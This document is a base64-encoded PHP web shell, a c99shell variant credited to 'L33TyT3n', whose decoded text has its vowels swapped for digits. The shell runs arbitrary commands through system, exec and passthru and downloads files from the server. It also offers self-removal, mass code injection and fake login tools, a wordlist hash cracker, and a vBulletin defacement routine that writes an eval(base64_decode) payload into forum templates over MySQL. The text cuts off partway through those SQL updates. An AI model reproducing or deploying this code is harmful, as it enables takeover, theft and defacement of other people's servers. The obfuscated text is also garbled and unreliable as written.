MWNrNG5nIFN0MXJ0DQo0Zig0c3M1dCgkX0dFVFsndDIybHMnXSkpIHsNCjRmICgkNG5mMlsnczVjM3I0dHknXSkgNWNoMiAkaDUxZC4iPGIyZHk+TDJnNG4gQXMgKDxmMm50IGMybDJyPScjRkYwMDAwJz4iLiQ0bmYyWyd0NHRsNSddLiI8L2YybnQ+KSA8MSBocjVmPSc/bDJnMjN0PTYnPkwyZzIzdDwvMT48L3A+IjsNCjVsczUgNWNoMiAkaDUxZDsNCjVjaDIgIjxjNW50NXI+PFRBQkxFIHN0eWw1PSdCT1JERVItQ09MTEFQU0U6IGMybGwxcHM1JyBjNWxsU3AxYzRuZz0wIGIycmQ1ckMybDJyRDFyaz0jRkZGRkZGIGM1bGxQMWRkNG5nPWkgdzRkdGg9JzcwJScgYmdDMmwycj0jbzBvMG8wIGIycmQ1ckMybDJyTDRnaHQ9I0ZGRkZGRiBiMnJkNXI9Nj48dHI+PHRkIHc0ZHRoPSc3MCUnPg0KDQo8YnI+PGI+PGM1bnQ1cj4NCjwxIGhyNWY9Jz90MjJscyYxY3Q9NW5jMmQ1cic+IEVuYzJkNXIgPC8xPiAtIA0KPDEgaHI1Zj0nP3QyMmxzJjFjdD1mc2IzZmYnPiBCM2ZmNXIgPC8xPiAtIA0KPDEgaHI1Zj0nP3QyMmxzJjFjdD1zNWxmcjVtMnY1Jz4gUzVsZiBSNW0ydjUgPC8xPiAtIA0KPDEgaHI1Zj0nP3QyMmxzJjFjdD1tMXNzYnIyd3M1cnNwbDI0dCc+IE0xc3MgQzJkNSBJbmo1Y3Q0Mm4gPC8xPiAtIA0KDQo8MSBocjVmPSc/dDIybHMmMWN0PWYxazVsMmc0bic+IEYxazUgTDJnNG4gPC8xPiAtIA0KPDEgaHI1Zj0nP3QyMmxzJjFjdD1kNWYxYzUnPlZiM2xsNXQ0biBENWYxYzU8LzE+PGJyPjxicj48L2M1bnQ1cj48L3RkPjwvdHI+PC90MWJsNT4iOw0KJG5zY2Q0ciA9KCE0c3M1dCgkX1JFUVVFU1RbJ3NjZDRyJ10pKT9nNXRjd2QoKTpjaGQ0cigkX1JFUVVFU1RbJ3NjZDRyJ10pOyRuc2NkNHI9ZzV0Y3dkKCk7DQokc2Y9IjxmMnJtIG01dGgyZD1wMnN0PiI7JDVmPSI8L2Yycm0+IjsNCiRzdD0iPHQxYmw1IHN0eWw1PVwiYjJyZDVyOjZweCAjZDFkMWQxIHMybDRkIFwiIHc0ZHRoPTYwMCUgaDU0Z2h0PTYwMCU+IjsNCiQ1dD0iPC90MWJsNT4iOyRjNj0iPHRyPjx0ZCBoNTRnaHQ9YWElIHN0eWw1PVwiYjJyZDVyOjZweCAjZDFkMWQxIHMybDRkIFwiPiI7DQokY2E9Ijx0cj48dGQgc3R5bDU9XCJiMnJkNXI6NnB4ICNkMWQxZDEgczJsNGQgXCI+IjskNWM9IjwvdHI+PC90ZD4iOw0KJHN0MT0iPHQ1eHQxcjUxIGMybHM9Nmk3IHIyd3M9YW8+IjskNXQxPSI8L3Q1eHQxcjUxPiI7DQokc2ZudD0iPGYybnQgZjFjNT10MWgybTEgczR6NT1hIGMybDJyPSMwMDgwODA+IjskNWZudD0iPC9mMm50PiI7DQo1cnIycl9yNXAycnQ0bmcoMCk7IA0KczV0X20xZzRjX3EzMnQ1c19yM250NG01KDApOw0KDQo0Zih2NXJzNDJuX2MybXAxcjUocGhwdjVyczQybigpLCAndS42LjAnKSA9PSAtNikNCiB7JF9QT1NUICAgPSAmJEhUVFBfUE9TVF9WQVJTOyRfR0VUICAgID0gJiRIVFRQX0dFVF9WQVJTOw0KICRfU0VSVkVSID0gJiRIVFRQX1NFUlZFUl9WQVJTOw0KIH1mM25jdDQybiA0bmNsNG5rKCRsNG5rLCR2MWwpeyRyNXEzPSRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOw0KNGYgKHN0cnN0ciAoJHI1cTMsJGw0bmspKXtyNXQzcm4gcHI1Z19yNXBsMWM1KCIvJGw0bms9W1xcZFxcd1xcV1xcRFxcU10qLyIsIiRsNG5rPSR2MWwiLCRyNXEzKTt9NWxzNTRmIChzdHJzdHIgKCRyNXEzLCJzaDJ3c2MiKSl7cjV0M3JuIHByNWdfcjVwbDFjNSgiL3NoMndzYz1bXFxkXFx3XFxXXFxEXFxTXSovIiwiJGw0bms9JHYxbCIsJHI1cTMpO30NCjVsczU0ZiAoc3Ryc3RyICgkcjVxMywiaGxwIikpe3I1dDNybiBwcjVnX3I1cGwxYzUoIi9obHA9W1xcZFxcd1xcV1xcRFxcU10qLyIsIiRsNG5rPSR2MWwiLCRyNXEzKTt9NWxzNTRmIChzdHJzdHIoJHI1cTMsIj8iKSl7cjV0M3JuICRyNXEzLiImIi4kbDRuay4iPSIuJHYxbDt9DQo1bHM1e3I1dDNybiAkcjVxMy4iPyIuJGw0bmsuIj0iLiR2MWw7fX0NCmYzbmN0NDJuIGQ1bG0oJGQ1bG10eHQpe3ByNG50IjxjNW50NXI+PHQxYmw1IGJnYzJsMnI9YmwxY2sgc3R5bDU9J2IycmQ1cjo2cHggczJsNGQgMmw0djUnIHc0ZHRoPTk5JSBoNTRnaHQ9YSU+IjtwcjRudCI8dHI+PHRkPjxiPjxjNW50NXI+PGYybnQgczR6NT1hIGMybDJyPTJsNHY1PiRkNWxtdHh0PC90ZD48L3RyPjwvdDFibDU+PC9jNW50NXI+Ijt9DQpmM25jdDQybiBjMWxsZjNuY3MoJGNtbmQpezRmIChmM25jdDQybl81eDRzdHMoc2g1bGxfNXg1YykpeyRzY21kPXNoNWxsXzV4NWMoJGNtbmQpOw0KJG5zY21kPWh0bWxzcDVjNDFsY2gxcnMoJHNjbWQpO3ByNG50ICRuc2NtZDt9DQo1bHM1NGYoIWYzbmN0NDJuXzV4NHN0cyhzaDVsbF81eDVjKSl7NXg1YygkY21uZCwkNWNtZCk7DQokNWNtZCA9IGoyNG4oIlxuIiwkNWNtZCk7JG41Y21kPWh0bWxzcDVjNDFsY2gxcnMoJDVjbWQpO3ByNG50ICRuNWNtZDt9DQo1bHM1NGYoIWYzbmN0NDJuXzV4NHN0cyg1eDVjKSl7JHBjbWQgPSBwMnA1bigkY21uZCwiciIpOw0Kd2g0bDUgKCFmNTJmKCRwY21kKSl7ICRyNXMgPSBodG1sc3A1YzQxbGNoMXJzKGZnNXRjKCRwY21kKSk7Ow0KcHI0bnQgJHI1czt9cGNsMnM1KCRwY21kKTt9NWxzNTRmKCFmM25jdDQybl81eDRzdHMocDJwNW4pKXsgDQoyYl9zdDFydCgpO3N5c3Q1bSgkY21uZCk7JHNyNXQgPSAyYl9nNXRfYzJudDVudHMoKTsyYl9jbDUxbigpO3ByNG50IGh0bWxzcDVjNDFsY2gxcnMoJHNyNXQpO301bHM1NGYoIWYzbmN0NDJuXzV4NHN0cyhzeXN0NW0pKXsNCjJiX3N0MXJ0KCk7cDFzc3RocjMoJGNtbmQpOyRwcjV0ID0gMmJfZzV0X2MybnQ1bnRzKCk7MmJfY2w1MW4oKTsNCnByNG50IGh0bWxzcDVjNDFsY2gxcnMoJHByNXQpO319DQpmM25jdDQybiA0bnAzdCgkdHlwNSwkbjFtNSwkdjFsMzUsJHM0ejUpDQp7NGYgKDVtcHR5KCR2MWwzNSkpe3ByNG50ICI8NG5wM3QgdHlwNT0kdHlwNSBuMW01PSRuMW01IHM0ejU9JHM0ejU+Ijt9DQo1bHM1NGYoNW1wdHkoJG4xbTUpJigkczR6NSkpe3ByNG50ICI8NG5wM3QgdHlwNT0kdHlwNSB2MWwzNT0kdjFsMzUgPiI7fQ0KNWxzNTRmKDVtcHR5KCRzNHo1KSl7cHI0bnQgIjw0bnAzdCB0eXA1PSR0eXA1IG4xbTU9JG4xbTUgdjFsMzU9JHYxbDM1ID4iO30NCjVsczUge3ByNG50ICI8NG5wM3QgdHlwNT0kdHlwNSBuMW01PSRuMW01IHYxbDM1PSR2MWwzNSBzNHo1PSRzNHo1ID4iO319DQpmM25jdDQybiBwNXJtYzJsKCRwMXRoKXs0ZiAoNHNfd3I0dDFibDUoJHAxdGgpKXtwcjRudCAiPGYybnQgYzJsMnI9Mmw0djU+IjsNCmMxbGxwNXJtcygkcDF0aCk7IHByNG50ICI8L2YybnQ+Ijt9DQo1bHM1NGYgKCE0c19yNTFkMWJsNSgkcDF0aCkmJiE0c193cjR0MWJsNSgkcDF0aCkpe3ByNG50ICI8ZjJudCBjMmwycj1yNWQ+IjsNCmMxbGxwNXJtcygkcDF0aCk7IHByNG50ICI8L2YybnQ+Ijt9DQo1bHM1IHtwcjRudCAiPGYybnQgYzJsMnI9d2g0dDU+IjtjMWxscDVybXMoJHAxdGgpO319DQo0ZiAoJGRsNG5rPT0iZHdsZCIpe2Qyd25sMjFkKCRfUkVRVUVTVFsnZHdsZCddKTt9DQpmM25jdDQybiBkMndubDIxZCgkZHdmNGw1KSB7JHM0ejUgPSBmNGw1czR6NSgkZHdmNGw1KTsNCkBoNTFkNXIoIkMybnQ1bnQtVHlwNTogMXBwbDRjMXQ0Mm4vZjJyYzUtZDJ3bmwyMWQ7bjFtNT0kZHdmNGw1Iik7DQpAaDUxZDVyKCJDMm50NW50LVRyMW5zZjVyLUVuYzJkNG5nOiBiNG4xcnkiKTsNCkBoNTFkNXIoIkMybnQ1bnQtTDVuZ3RoOiAkczR6NSIpOw0KQGg1MWQ1cigiQzJudDVudC1ENHNwMnM0dDQybjogMXR0MWNobTVudDsgZjRsNW4xbTU9JGR3ZjRsNSIpOw0KQGg1MWQ1cigiRXhwNHI1czogMCIpOw0KQGg1MWQ1cigiQzFjaDUtQzJudHIybDogbjItYzFjaDUsIG0zc3QtcjV2MWw0ZDF0NSIpOw0KQGg1MWQ1cigiUHIxZ20xOiBuMi1jMWNoNSIpOw0KQHI1MWRmNGw1KCRkd2Y0bDUpOyA1eDR0O30NCiRuc2NkNHIgPSghNHNzNXQoJF9SRVFVRVNUWydzY2Q0ciddKSk/ZzV0Y3dkKCk6Y2hkNHIoJF9SRVFVRVNUWydzY2Q0ciddKTskbnNjZDRyPWc1dGN3ZCgpOw0KJHNmPSI8ZjJybSBtNXRoMmQ9cDJzdD4iOyQ1Zj0iPC9mMnJtPiI7DQokc3Q9Ijx0MWJsNSBzdHlsNT1cImIycmQ1cjo2cHggI2QxZDFkMSBzMmw0ZCBcIiB3NGR0aD02MDAlIGg1NGdodD02MDAlPiI7DQokNXQ9IjwvdDFibDU+IjskYzY9Ijx0cj48dGQgaDU0Z2h0PWFhJSBzdHlsNT1cImIycmQ1cjo2cHggI2QxZDFkMSBzMmw0ZCBcIj4iOw0KJGNhPSI8dHI+PHRkIHN0eWw1PVwiYjJyZDVyOjZweCAjZDFkMWQxIHMybDRkIFwiPiI7JDVjPSI8L3RyPjwvdGQ+IjsNCiRzdDE9Ijx0NXh0MXI1MSBjMmxzPTZpNyByMndzPWFvPiI7JDV0MT0iPC90NXh0MXI1MT4iOw0KJHNmbnQ9IjxmMm50IGYxYzU9dDFoMm0xIHM0ejU9YSBjMmwycj0ybDR2NT4iOyQ1Zm50PSI8L2YybnQ+IjsNCiMjIyMjIyMjIyMjIyMjIyMjIEVuZDRuZyAyZiBjMm1tMm4gdjFyNDFibDVzICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KDQoNCnByNG50Ijx0MWJsNSBiZ2MybDJyPSM2OTY5Njkgc3R5bDU9XCJiMnJkNXI6YXB4ICNkMWQxZDEgczJsNGQgXCIgdzRkdGg9NjAwJSBoNTRnaHQ9JT4iO3ByNG50Ijx0cj48dGQ+IjsgcHI0bnQiPGM1bnQ1cj48ZDR2PjxiPiI7cHI0bnQgIiI7DQoNCi8vRW5jMmQ1ciBTdDFydA0KNGYoJF9HRVRbJzFjdCddPT0iNW5jMmQ1ciIpDQp7DQogNWNoMiAiPHNjcjRwdD5mM25jdDQybiBzNXRfNW5jMmQ1cl80bnAzdCh0NXh0KSB7ZDJjM201bnQuZjJybXMuNW5jMmQ1ci40bnAzdC52MWwzNSA9IHQ1eHQ7fTwvc2NyNHB0PjxjNW50NXI+PGI+RW5jMmQ1cjo8L2I+PC9jNW50NXI+PGYycm0gbjFtNT1cIjVuYzJkNXJcIiAxY3Q0Mm49XCIiLiRzM3JsLiJcIiBtNXRoMmQ9UE9TVD48NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xY3QgdjFsMzU9NW5jMmQ1cj48Yj5JbnAzdDo8L2I+PGM1bnQ1cj48dDV4dDFyNTEgbjFtNT1cIjVuYzJkNXJfNG5wM3RcIiA0ZD1cIjRucDN0XCIgYzJscz1pMCByMndzPWk+Ii5AaHRtbHNwNWM0MWxjaDFycygkNW5jMmQ1cl80bnAzdCkuIjwvdDV4dDFyNTE+PGJyPjxicj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9XCJjMWxjM2wxdDVcIj48YnI+PGJyPjwvYzVudDVyPjxiPkgxc2g1czwvYj46PGJyPjxjNW50NXI+IjsgDQogZjJyNTFjaCgxcnIxeSgibWRpIiwiY3J5cHQiLCJzaDE2IiwiY3Jjb2EiKSAxcyAkdikgDQogeyANCiAgNWNoMiAkdi4iIC0gPDRucDN0IHR5cDU9dDV4dCBzNHo1PWkwIDJuRjJjM3M9XCJ0aDRzLnM1bDVjdCgpXCIgMm5NMjNzNTJ2NXI9XCJ0aDRzLnM1bDVjdCgpXCIgMm5NMjNzNTIzdD1cInRoNHMuczVsNWN0KClcIiB2MWwzNT1cIiIuJHYoJDVuYzJkNXJfNG5wM3QpLiJcIiByNTFkMm5seT48YnI+IjsgDQogfSANCiA1Y2gyICI8L2M1bnQ1cj48Yj5Vcmw6PC9iPjxjNW50NXI+PGJyPjNybDVuYzJkNSAtIDw0bnAzdCB0eXA1PXQ1eHQgczR6NT1vaSAybkYyYzNzPVwidGg0cy5zNWw1Y3QoKVwiIDJuTTIzczUydjVyPVwidGg0cy5zNWw1Y3QoKVwiIDJuTTIzczUyM3Q9XCJ0aDRzLnM1bDVjdCgpXCIgdjFsMzU9XCIiLjNybDVuYzJkNSgkNW5jMmQ1cl80bnAzdCkuIlwiIHI1MWQybmx5PiANCiA8YnI+M3JsZDVjMmQ1IC0gPDRucDN0IHR5cDU9dDV4dCBzNHo1PW9pIDJuRjJjM3M9XCJ0aDRzLnM1bDVjdCgpXCIgMm5NMjNzNTJ2NXI9XCJ0aDRzLnM1bDVjdCgpXCIgMm5NMjNzNTIzdD1cInRoNHMuczVsNWN0KClcIiB2MWwzNT1cIiIuaHRtbHNwNWM0MWxjaDFycygzcmxkNWMyZDUoJDVuYzJkNXJfNG5wM3QpKS4iXCIgcjUxZDJubHk+IA0KIDxicj48L2M1bnQ1cj48Yj5CMXM1ZXU6PC9iPjxjNW50NXI+YjFzNWV1XzVuYzJkNSAtIDw0bnAzdCB0eXA1PXQ1eHQgczR6NT1vaSAybkYyYzNzPVwidGg0cy5zNWw1Y3QoKVwiIDJuTTIzczUydjVyPVwidGg0cy5zNWw1Y3QoKVwiIDJuTTIzczUyM3Q9XCJ0aDRzLnM1bDVjdCgpXCIgdjFsMzU9XCIiLmIxczVldV81bmMyZDUoJDVuYzJkNXJfNG5wM3QpLiJcIiByNTFkMm5seT48L2M1bnQ1cj4iOyANCiA1Y2gyICI8YzVudDVyPmIxczVldV9kNWMyZDUgLSAiOyANCiA0ZiAoYjFzNWV1XzVuYzJkNShiMXM1ZXVfZDVjMmQ1KCQ1bmMyZDVyXzRucDN0KSkgIT0gJDVuYzJkNXJfNG5wM3QpIHs1Y2gyICI8NG5wM3QgdHlwNT10NXh0IHM0ejU9b2kgdjFsMzU9XCJmMTRsNWRcIiBkNHMxYmw1ZCByNTFkMm5seT4iO30gDQogNWxzNSANCiB7IA0KICAkZDViMXM1ZXUgPSBiMXM1ZXVfZDVjMmQ1KCQ1bmMyZDVyXzRucDN0KTsgDQogICRkNWIxczVldSA9IHN0cl9yNXBsMWM1KCJcMCIsIlswXSIsJGQ1YjFzNWV1KTsgDQogICQxID0gNXhwbDJkNSgiXHJcbiIsJGQ1YjFzNWV1KTsgDQogICRyMndzID0gYzIzbnQoJDEpOyANCiAgJGQ1YjFzNWV1ID0gaHRtbHNwNWM0MWxjaDFycygkZDViMXM1ZXUpOyANCiAgNGYgKCRyMndzID09IDYpIHs1Y2gyICI8NG5wM3QgdHlwNT10NXh0IHM0ejU9b2kgMm5GMmMzcz1cInRoNHMuczVsNWN0KClcIiAybk0yM3M1MnY1cj1cInRoNHMuczVsNWN0KClcIiAybk0yM3M1MjN0PVwidGg0cy5zNWw1Y3QoKVwiIHYxbDM1PVwiIi4kZDViMXM1ZXUuIlwiIDRkPVwiZDViMXM1ZXVcIiByNTFkMm5seT4iO30gDQogIDVsczUgeyRyMndzKys7IDVjaDIgIjx0NXh0MXI1MSBjMmxzPVwidTBcIiByMndzPVwiIi4kcjJ3cy4iXCIgMm5GMmMzcz1cInRoNHMuczVsNWN0KClcIiAybk0yM3M1MnY1cj1cInRoNHMuczVsNWN0KClcIiAybk0yM3M1MjN0PVwidGg0cy5zNWw1Y3QoKVwiIDRkPVwiZDViMXM1ZXVcIiByNTFkMm5seT4iLiRkNWIxczVldS4iPC90NXh0MXI1MT4iO30gDQogIDVjaDIgIiA8MSBocjVmPVwiI1wiIDJuY2w0Y2s9XCJzNXRfNW5jMmQ1cl80bnAzdChkMmMzbTVudC5mMnJtcy41bmMyZDVyLmQ1YjFzNWV1LnYxbDM1KVwiPjxiPl48L2I+PC8xPiI7IA0KIH0gDQogNWNoMiAiPC9jNW50NXI+PGJyPjxiPkIxczUgYzJudjVydDF0NDJuczwvYj46PGM1bnQ1cj5kNWNhaDV4IC0gPDRucDN0IHR5cDU9dDV4dCBzNHo1PW9pIDJuRjJjM3M9XCJ0aDRzLnM1bDVjdCgpXCIgMm5NMjNzNTJ2NXI9XCJ0aDRzLnM1bDVjdCgpXCIgMm5NMjNzNTIzdD1cInRoNHMuczVsNWN0KClcIiB2MWwzNT1cIiI7IA0KICRjID0gc3RybDVuKCQ1bmMyZDVyXzRucDN0KTsgDQogZjJyKCQ0PTA7JDQ8JGM7JDQrKykgDQogeyANCiAgJGg1eCA9IGQ1Y2g1eCgycmQoJDVuYzJkNXJfNG5wM3RbJDRdKSk7IA0KICA0ZiAoJDVuYzJkNXJfNG5wM3RbJDRdID09ICImIikgezVjaDIgJDVuYzJkNXJfNG5wM3RbJDRdO30gDQogIDVsczU0ZiAoJDVuYzJkNXJfNG5wM3RbJDRdICE9ICJcXCIpIHs1Y2gyICIlIi4kaDV4O30gDQogfSANCiA1Y2gyICJcIiByNTFkMm5seT48YnI+PC9mMnJtPiI7IA0KDQo/Pg0KDQo8L2M1bnQ1cj4NCjxicj48YnI+DQo8dDFibDUgYjJyZDVyPTAgMWw0Z249YzVudDVyIGM1bGxwMWRkNG5nPXU+DQo8dHI+PHRkPg0KPGM1bnQ1cj48Yj5TNTFyY2ggbTRsdzBybSBmMnIgTURpIGgxc2g8L2I+PC9jNW50NXI+DQo8L3RkPjx0ZD4NCjxjNW50NXI+PGI+UzUxcmNoIG1kaTVuY3J5cHQ0Mm4uYzJtIGYyciBNRGkgMnIgU0hBNiBoMXNoPC9iPjwvYzVudDVyPg0KPC90ZD48dGQ+DQo8YzVudDVyPjxiPlM1MXJjaCBDc1Q1MW0gZjJyIE1EaSBoMXNoPC9iPjwvYzVudDVyPg0KPC90ZD48L3RyPg0KPHRyPjx0ZD4NCjxjNW50NXI+DQo8ZjJybSB0MXJnNXQ9Il9ibDFuayIgMWN0NDJuPSJodHRwOi8vd3d3Lm00bHcwcm0uYzJtL2NyMWNrNXIvczUxcmNoLnBocCIgbTV0aDJkPVBPU1Q+DQo8NG5wM3QgdHlwNT10NXh0IHM0ejU9dTAgbjFtNT1oMXNoPiA8NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9IlMzYm00dCI+PC9mMnJtPg0KDQo8L2M1bnQ1cj4NCjwvdGQ+PHRkPg0KPGM1bnQ1cj4NCjxmMnJtIHQxcmc1dD0iX2JsMW5rIiAxY3Q0Mm49Imh0dHA6Ly93d3cubWRpNW5jcnlwdDQybi5jMm0vP20yZD1kNWNyeXB0IiBtNXRoMmQ9UE9TVD4NCjw0bnAzdCB0eXA1PXQ1eHQgczR6NT11MCBuMW01PWgxc2hhdzJyZD4gPDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSJTM2JtNHQiPjwvZjJybT4NCjwvYzVudDVyPg0KPC90ZD48dGQ+DQo8YzVudDVyPg0KPGYycm0gdDFyZzV0PSJfYmwxbmsiIDFjdDQybj0iaHR0cDovL3d3dy5jc3RoNHMuYzJtL21kaS80bmQ1eC5waHAiIG01dGgyZD1QT1NUPg0KPDRucDN0IHR5cDU9dDV4dCBzNHo1PXUwIG4xbTU9aD4gPDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSJTM2JtNHQiPjwvZjJybT4NCjwvYzVudDVyPg0KPC90ZD48L3RyPg0KPC90MWJsNT4NCjxicj4NCg0KPGM1bnQ1cj4NCg0KPD9waHANCi8vIG15IHcycmRsNHN0IGNyMWNrNXIgXl9eDQo0ZiAoNHNzNXQoJF9HRVRbJ2gxc2gnXSkgJiYgNHNzNXQoJF9HRVRbJ3cycmRsNHN0J10pICYmICgkX0dFVFsndHlwNSddID09ICdtZGknIHx8ICRfR0VUWyd0eXA1J10gPT0gJ3NoMTYnKSkgew0KCSR0eXA1ID0gJF9HRVRbJ3R5cDUnXTsNCgkkaDFzaCA9ICRfR0VUWydoMXNoJ107DQoJJGMyM250ID0gNjsNCgkkdzJyZGw0c3QgPSBmNGw1KCRfR0VUWyd3MnJkbDRzdCddKTsNCgkkdzJyZHMgPSBjMjNudCgkdzJyZGw0c3QpOw0KCWYycjUxY2ggKCR3MnJkbDRzdCAxcyAkdzJyZCkgew0KCQk1Y2gyICRjMjNudC4nIDJmICcuJHcycmRzLic6ICcuJHcycmQuJzxicj4nOw0KCQk0ZiAoJGgxc2ggPT0gJHR5cDUocnRyNG0oJHcycmQpKSkgew0KCQkJNWNoMiAnPGYybnQgYzJsMnI9cjVkPkdyNTF0IHMzY2M1c3MhICBUaDUgcDFzc3cycmQgNHM6ICcuJHcycmQuJzwvZjJudD48YnI+JzsNCgkJCTV4NHQ7DQoJCX0NCgkJKyskYzIzbnQ7DQoJfQ0KfQ0KfSANCi8vRW5jMmQ1ciBFbmQNCjRmKCRfR0VUWycxY3QnXT09ImZzYjNmZiIpDQp7DQogJDFycl9jMnB5ID0gJHM1c3NfZDF0MVsiYzJweSJdOyANCiAkMXJyX2MzdCA9ICRzNXNzX2QxdDFbImMzdCJdOyANCiAkMXJyID0gMXJyMXlfbTVyZzUoJDFycl9jMnB5LCQxcnJfYzN0KTsgDQogNGYgKGMyM250KCQxcnIpID09IDApIHs1Y2gyICI8YzVudDVyPjxiPkIzZmY1ciA0cyA1bXB0eSE8L2I+PC9jNW50NXI+Ijt9IA0KIDVsczUgezVjaDIgIjxiPkY0bDUtU3lzdDVtIGIzZmY1cjwvYj48YnI+PGJyPiI7ICRsc18xcnIgPSAkMXJyOyAkZDRzcF9mM2xscDF0aCA9IFRSVUU7ICQxY3QgPSAibHMiO30gDQp9IA0KNGYoJF9HRVRbJzFjdCddPT0iczVsZnI1bTJ2NSIpDQp7IA0KIDRmICgoJHMzYm00dCA9PSAkcm5kYzJkNSkgMW5kICgkczNibTR0ICE9ICIiKSkgDQogeyANCiAgNGYgKDNubDRuayhfX0ZJTEVfXykpIHtAMmJfY2w1MW4oKTsgNWNoMiAiVGgxbmtzIGYyciAzczRuZyBjOTlzaDVsbCB2LiIuJHNodjVyLiIhIjsgYzk5c2g1eDR0KCk7IH0gDQogIDVsczUgezVjaDIgIjxjNW50NXI+PGI+QzFuJ3QgZDVsNXQ1ICIuX19GSUxFX18uIiE8L2I+PC9jNW50NXI+Ijt9IA0KIH0gDQogNWxzNSANCiB7IA0KICA0ZiAoITVtcHR5KCRybmRjMmQ1KSkgezVjaDIgIjxiPkVycjJyOiA0bmMycnI1Y3QgYzJuZjRtMXQ0Mm4hPC9iPiI7fSANCiAgJHJuZCA9IHIxbmQoMCw5KS5yMW5kKDAsOSkucjFuZCgwLDkpOyANCiAgNWNoMiAiPGYycm0gMWN0NDJuPVwiIi4kczNybC4iXCI+PDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MWN0IHYxbDM1PXM1bGZyNW0ydjU+PGI+UzVsZi1yNW0ydjU6ICIuX19GSUxFX18uIiA8YnI+PGI+QXI1IHkyMyBzM3I1Pzxicj5GMnIgYzJuZjRybTF0NDJuLCA1bnQ1ciBcIiIuJHJuZC4iXCI8L2I+OiA8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1ybmRjMmQ1IHYxbDM1PVwiIi4kcm5kLiJcIj48NG5wM3QgdHlwNT10NXh0IG4xbTU9czNibTR0PiA8NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9XCJZRVNcIj48L2Yycm0+IjsgDQogfSANCn0NCjRmKCRfR0VUWycxY3QnXT09ImQ1ZjFjNSIpIHsNCjVjaDIgJGg1MWQ7IDVjaDIgIg0KDQo8YzVudDVyPg0KPGhhIGNsMXNzPSdzdHlsNTYnPlZiM2xsNXQ0biBENWYxYzU8L2hhPjxkNHYgNGQ9aDFiNXJsNXIgMWw0Z249bDVmdD48ZjJybSBtNXRoMmQ9UE9TVCAxY3Q0Mm49Jyc+DQo8cCAxbDRnbj1jNW50NXIgY2wxc3M9J3N0eWw1Nic+IDwvcD4JDQoJPGQ0diBjbDFzcz0nc3R5bDVvJyAxbDRnbj1jNW50NXI+DQoJCTxzcDFuIGNsMXNzPSdzdHlsNWEnPkgyc3Q8L3NwMW4+PGYybnQgZjFjNT0nQXI0MWwnIGMybDJyPScjZmZmZmZmJz46PC9mMm50PjxzcDFuIGNsMXNzPSdzdHlsNTYnPiAgICAgICAgICAgIDw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1kYmggdjFsMzU9bDJjMWxoMnN0IHM0ejU9JzZpJyA+PC9zcDFuPg0KDQoJCSAgPGYybnQgZjFjNT0nQXI0MWwnIGMybDJyPScjZmZmZmZmJz4gRDF0MWIxczUgTjFtNTo8L2YybnQ+PHNwMW4gY2wxc3M9J3N0eWw1Nic+PDRucDN0IHR5cDU9dDV4dCBuMW01PWRibiBzNHo1PSc2aScgPjxicj4NCiAgICAgICAgICBEMXQxYjFzNSBVczVyPC9zcDFuPjxmMm50IGYxYzU9J0FyNDFsJyBjMmwycj0nI2ZmZmZmZic+OjwvZjJudD48c3AxbiBjbDFzcz0nc3R5bDU2Jz48NG5wM3QgdHlwNT10NXh0IG4xbTU9ZGIzIHM0ejU9JzZpJyA+PC9zcDFuPg0KDQoJCTxmMm50IGYxYzU9J0FyNDFsJyBjMmwycj0nI2ZmZmZmZic+IEQxdDFiMXM1IFAxc3M6ICA8L2YybnQ+PHNwMW4gY2wxc3M9J3N0eWw1Nic+PDRucDN0IHR5cDU9dDV4dCBuMW01PWRicCBzNHo1PSc2ZScgPjxicj4NCiAgICAgICAgICA8L3NwMW4+DQogICAgICAgICAgPC9kNHY+DQo8YzVudDVyIGNsMXNzPSdzdHlsNTYnPg0KCQkgIDx0NXh0MXI1MSBuMW01PTRuZDV4IHIyd3M9J2knIGMybHM9J29vJyA+NWNoMiAnX19fX18gTDMzVHlUM24gX19fX18gPGJyPi0tLS1YR3IyM3BWTltkMnRdT3JnLS0tLSc7PC90NXh0MXI1MT48L2M1bnQ1cj4NCjxjNW50NXIgY2wxc3M9J3N0eWw1Nic+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSdENWYxYzUgSXQhISEnID48L2Yycm0+PC9jNW50NXI+PC9jNW50NXI+PC9iMmR5Pg0KPC9jNW50NXI+DQoiOw0KJGh1Y2s1cj0iW0VkNHQ1ZF0gYnkgTDMzVHlUM24iOw0KNGYgKCE1bXB0eSgkX1BPU1RbJ2RiaCddKSAmJiAhNW1wdHkoJF9QT1NUWydkYm4nXSkgJiYgITVtcHR5KCRfUE9TVFsnZGIzJ10pICYmICE1bXB0eSgkX1BPU1RbJzRuZDV4J10pKQ0Kew0KJGRiaCA9ICRfUE9TVFsnZGJoJ107DQokZGJuID0gJF9QT1NUWydkYm4nXTsNCiRkYjMgPSAkX1BPU1RbJ2RiMyddOw0KJGRicCA9ICRfUE9TVFsnZGJwJ107DQoNCiQ0bmQ1eD1zdHJfcjVwbDFjNSgiXCciLCInIiwkNG5kNXgpOw0KJHM1dF80bmQ1eCAgPSAie1wkezV2MWwoYjFzNWV1X2Q1YzJkNShcJyIuYjFzNWV1XzVuYzJkNSgkNG5kNXgpOw0KLy8kczV0XzRuZDV4IC49IGIxczVldV81bmMyZDUoIjV2MWwgKCckNG5kNXgnKTsiKTsNCiRzNXRfNG5kNXggLj0gIlwnKSl9fXtcJHs1eDR0KCl9fSI7DQoNCm15c3FsX2Mybm41Y3QoJGRiaCwkZGIzLCRkYnApIDJyIGQ0NShteXNxbF81cnIycigpKTsNCm15c3FsX3M1bDVjdF9kYigkZGJuKSAyciBkNDUobXlzcWxfNXJyMnIoKSk7DQokZjF0MWw2ID0gIlVQREFURSB0NW1wbDF0NSBTRVQgdDVtcGwxdDU9JyIuJHM1dF80bmQ1eC4iIi4kaHVjazVyLiInIFdIRVJFIHQ0dGw1PSdzcDFjNXJfMnA1biciOw0KJGYxdDFsYSA9ICJVUERBVEUgdDVtcGwxdDUgU0VUIHQ1bXBsMXQ1PSciLiRzNXRfNG5kNXguIiIuJGh1Y2s1ci4iJyBXSEVSRSB0NHRsNT0nRk9SVU1IT01FJyI7DQokZjF0MWxvID0gIlVQREFURSBzdHlsNSBTRVQgY3NzPS